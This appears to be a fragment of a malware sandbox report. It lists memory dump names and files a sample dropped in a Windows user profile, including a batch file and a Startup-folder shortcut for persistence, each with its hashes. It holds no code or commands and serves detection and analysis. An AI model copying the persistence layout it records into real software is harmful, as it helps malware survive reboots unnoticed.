memory/2512-34-0x0000000005CC0000-0x0000000005D96000-memory.dmp

memory/924-31-0x0000000000260000-0x00000000003A1000-memory.dmp

C:\Users\Admin\AppData\Local\bfede1\ef3aeb.bat

MD5 8b7e024c7b97a2403aeb424a90c9ed09
SHA1 fe1b24291581c902230828c598e34788ae3d40b8
SHA256 bf856996a944f68c6c137751874bf0ba8b958f5348fb6a1789c15028c6c735a7
SHA512 53f7e2c642d8f0be010d06f06f28552c76d8f876b348a07bb698617229e9a58bfd212d6e95d01ff4ff8a2462dac24ae6de66b536231bea2788027f50acafb117

C:\Users\Admin\AppData\Roaming\455a63\046bb1.4029e57

MD5 0adcec98cacc2aa81de4ab7c98aca774
SHA1 d1d940876d73d69ccc30f16cd13439f6c94d35a4
SHA256 bcdf0b854c5515144df72e351815eb4f8ee8e7adeb61b1df1cbf4b5b3e9b00ce
SHA512 578394f785262b1cc4839f5d6a1ffe7aaa2d07068aceef866e0612bf563a201cfb3f7323720c0843f93d25fe0b80faf1d182aa7191c88ec266369ca7c5b92326

C:\Users\Admin\AppData\Local\bfede1\0c9e8c.lnk

MD5 cac2c17220b3670b94427be132c0444e
SHA1 312beb6573ace2278770a048cadafb24d570b919
SHA256 d3d1bbc05623a2826b9399d4f743fb50467a98d714e1cd11b7b1e7f126b083c6
SHA512 d592d6e7d70a9cc6891fc7e0b8e8baead6839162b986025b45621458440e62871af9b52f4930ce28487e86b7863290a2b38a3a19c638ebec0a6ae28f15ff1217

C:\Users\Admin\AppData\Local\bfede1\44c570.4029e57

MD5 e960a17300f5da310d5835f7371e937c
SHA1 a2d587fdf6e1b930c30633814e7470d507dc7f62
SHA256 c33e0cb764b48042f4940e81c261eb98a747ce96646fe0debef8a830bb867d44
SHA512 ea97500e153837a6784352e9306149b144242deab71711f06f7e0f2360d20b83b6188ca8c39bdf63b7c44134fd7450cf061e2182a475be31426fc7f3d8ad585f

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c2667d.lnk

MD5 0009f90f5c79c182a4e26fc73427cf9d
SHA1 18ae215fda0ebbcdf974ea118b0c943a37a00ec0
SHA256 becf058a89f58092b19b520d64cbfdc9ef5d5f164ff2e4c7d9cceff6184016b3
SHA512 232b4a957cb8807f281b15a4db13834eb29b3663ecc105eb2fe158733c9ec7c9f67539e68b2b98213b1a540be2739718ef86124918598f5c2e94e5273bf446f0